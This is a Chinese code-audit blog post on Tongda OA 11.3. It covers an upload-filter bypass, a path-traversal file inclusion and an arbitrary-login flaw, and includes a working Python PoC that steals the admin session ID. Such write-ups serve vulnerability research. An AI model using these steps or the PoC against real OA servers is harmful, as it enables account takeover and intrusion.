因为这段时间比较忙,抽出时间写博客很不容易,所以就简单的吧印象笔记里面的内容站上俩,没有写太多具体的分析过程,尽量都在截图中说明了
附件 通达OA11.3源码(未解码,可以自己去下SeayDzend解码)
链接:https://pan.baidu.com/s/17kItUwoPfPIeeK2ZnRnmEA
提取码:ALEX
文件上传漏洞:
\ispirit\im\upload.php 5:$P参数非空即可绕过上传限制
16:include_once "inc/utility_file.php 2299:is_uploadable ( ) 过滤函数内的文件后缀判断可绕过( : 2307)
此处可以利用文件%00截断或web服务器的先天缺陷进行攻击,构造上传文件特殊的后缀名,即可绕过该过滤
文件包含漏洞:
\ispirit\interface\gateway.php:27
此处存在文件遍历将json内的值提出来
//在json中构造POC,地址直接写入json中,构造出含有"general/"字符串并../../../等格式的地址,访问先前上传成功的恶意脚本文件
任意用户登录漏洞:
/logincheck_code.php
这里直接通过POST传入UID:
通过UID进行数据库的查询,并加以参数的赋值:
mysql> select * from USER where UID=1 \G;
因为UID=1是admin用户,所以这儿直接就是把admin的session给调了出来:
我们用burp测试一下,给他喂一个UID=1
于是我们便得到了PHPSESSID
然后再主页内的请求包中直接修改该
进来了:
附上该漏洞的Python利用POC:直接获取admin用户的登录PHPSESSID
import requests
import json
headers={}
def getV11Session(url):
checkUrl = url+'/general/login_code.php'
print(checkUrl)
try:
headers["User-Agent"] = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)"
getSessUrl = url+'/logincheck_code.php'
res = requests.post(
getSessUrl, data={ 'UID': int(1)},headers=headers)
print('[+]Get Available COOKIE:'+res.headers['Set-Cookie'])
except:
print('[-]Something Wrong With '+url)
if __name__ == "__main__":
getV11Session("http://127.0.0.1/")
该poc是获取到最近一次登录admin的PHPSESSID,要是admin又登陆了一次的话,还是要重新获取,因为PHPSESSID会变的
参考文章:
附件:PHP代码审计常见函数ob_start() 控制用户浏览器的缓冲区cache通过此方法可以将服务器输出在浏览器的内容先缓存在浏览器的cache中,直到 flush或者ob_end_flush才会输出include_once 包含某文件(若已经包含过则不在包含)session_id — 获取/设置当前会话 IDsession_id ([ string $id ] ) : stringsession_id() 可以用来获取/设置 当前会话 ID。 如果指定了 id 参数的值, 则使用指定值作为会话 ID。 必须在调用 session_start() 函数之前调用 session_id() 函数。session_start() session_start — 启动新会话或者重用现有会话session_write_close() 写入会话数据和结束回话ob_end_clean() ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲strtolower() 字符串转化为小写substr() 返回字符串的相对位置的子串ltrim() 删除字符串开头的空白或其他字符preg_match () 执行匹配正则表达式stripcslashes ( ) 返回反转义后的字符串。
真正不羁的灵魂不会去计较什么,因为他们内心有着国王般的骄傲——杰克·凯鲁亚克